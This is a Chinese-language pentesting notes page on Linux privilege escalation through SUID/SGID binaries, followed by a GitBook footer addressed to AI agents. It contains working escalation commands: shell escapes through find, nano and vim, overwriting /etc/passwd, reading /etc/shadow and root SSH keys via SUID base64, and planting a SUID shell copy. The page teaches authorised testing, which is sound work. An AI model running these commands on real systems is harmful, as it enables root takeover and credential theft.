> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid.md).

# SUID

SUID 二进制文件以其所有者的权限运行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护的文件、启动具有特权的 shell，或执行攻击者控制的代码。

## 方法

* 枚举 SUID 二进制文件，并将异常条目与 GTFOBins 进行对照。
* 优先关注自定义二进制文件、旧版本、可写依赖项以及位于标准系统路径之外的二进制文件。
* 在运行破坏性载荷之前，先测试读取、写入、命令执行和库加载原语。

## 快速检查

```bash
find / -perm -4000 -type f 2>/dev/null
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
```

## SUID 和 SGID 初步排查

SUID 以文件所有者的权限运行二进制文件，而 SGID 以文件所属组的权限运行它。枚举后，将异常二进制文件与 [GTFOBins](https://gtfobins.github.io/) 并优先关注自定义路径、可写目录以及由 root 拥有的二进制文件。

有用的快速探测：

```bash
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null
```

常见的 GTFOBins 风格示例：

```bash
find . -exec /bin/sh -p \; -quit
```

对于 `nano`，使用 `Ctrl+R`，然后 `Ctrl+X`，然后运行：

```
reset; sh 1>&0 2>&0
```

对于 `vim`:

```bash
vim -c ':shell'
vim -c ':!/bin/sh'
```

如果 SUID/特权复制流程可能覆盖敏感文件，请在接触生产文件之前仔细验证写入原语：

```bash
cp /tmp/malicious_passwd /etc/passwd
```

如果 `base64` 如果它是 SUID，请将其用作读取原语，而不是 shell 原语：

```bash
ls -la /usr/bin/base64
/usr/bin/base64 /etc/shadow | base64 --decode
/usr/bin/base64 /root/.ssh/id_rsa | base64 --decode
/usr/bin/base64 /var/log/auth.log | base64 --decode
```

如果 `cp` 如果它是 SUID，请验证它是否可以创建或保留一个特权副本：

```bash
cp /bin/sh /tmp/sh
chmod +s /tmp/sh
/tmp/sh -p
```

值得检查的常见 SUID/SGID 二进制文件：

| 二进制文件                                                 | 检查原因                          |
| ----------------------------------------------------- | ----------------------------- |
| `sudo` / `su`                                         | 直接的权限边界工具。                    |
| `passwd`, `chsh`, `newgrp`, `gpasswd`                 | 账户和组修改辅助工具。                   |
| `at`                                                  | 定时命令执行。                       |
| `挂载`, `umount`                                        | 文件系统访问和挂载选项。                  |
| `pkexec`                                              | Polkit 辅助程序，历史上受 PwnKit 影响。   |
| `base64`                                              | 读取受保护的文件并在本地解码。               |
| `cp`                                                  | 在权限允许时复制或覆盖文件。                |
| `find`, `nano`, `vim`, `less`, `more`, `bash`, `dash` | GTFOBins 风格的 shell、读取或文件写入原语。 |
| `nmap`                                                | 旧式交互模式或脚本执行路径。                |

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID pkexec / PwnKit</h4></td><td>SUID（Pkexec）用于 Linux 提权的说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/1e890d0fc4d36842e1593b265dd49a90a14ff7f2">/pages/1e890d0fc4d36842e1593b265dd49a90a14ff7f2</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Base64</h4></td><td>SUID（Base64）用于 Linux 提权的说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/644c52d73b610fbbece5a373d1a8ffcbead09b6f">/pages/644c52d73b610fbbece5a373d1a8ffcbead09b6f</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID PHP</h4></td><td>SUID（PHP）用于 Linux 提权的说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/bb6184ff611b15427cc2a5af904421753d414beb">/pages/bb6184ff611b15427cc2a5af904421753d414beb</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID 核心转储 /opt/count</h4></td><td>SUID - 内存转储（/opt/count）用于 Linux 提权的说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/a71935119ac2e6f4e05cef02e93e2acd9db2c344">/pages/a71935119ac2e6f4e05cef02e93e2acd9db2c344</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID 缺失文件</h4></td><td>SUID 二进制文件（缺失文件）用于 Linux 提权的说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/c2fbb77a15b868880ac4cfc7f88412c8ed5c2d65">/pages/c2fbb77a15b868880ac4cfc7f88412c8ed5c2d65</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID screen</h4></td><td>SUID（screen）用于 Linux 提权的说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/0fc84d2fbddbd3897497e1542dbc1326998a2f1e">/pages/0fc84d2fbddbd3897497e1542dbc1326998a2f1e</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Nmap</h4></td><td>SUID（Nmap）用于 Linux 提权的说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/ea191a47b06da7f91b17c263e9e0cf569c419372">/pages/ea191a47b06da7f91b17c263e9e0cf569c419372</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID 备份二进制文件</h4></td><td>SUID 二进制文件（备份）用于 Linux 提权的说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/849e5e511181c18fe7bb72d8650251b372a41222">/pages/849e5e511181c18fe7bb72d8650251b372a41222</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Enlightenment</h4></td><td>SUID（Enlightenment）用于 Linux 提权的说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/5cbb9b9e3ef8619bcb7603a4bb298cc24e468643">/pages/5cbb9b9e3ef8619bcb7603a4bb298cc24e468643</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
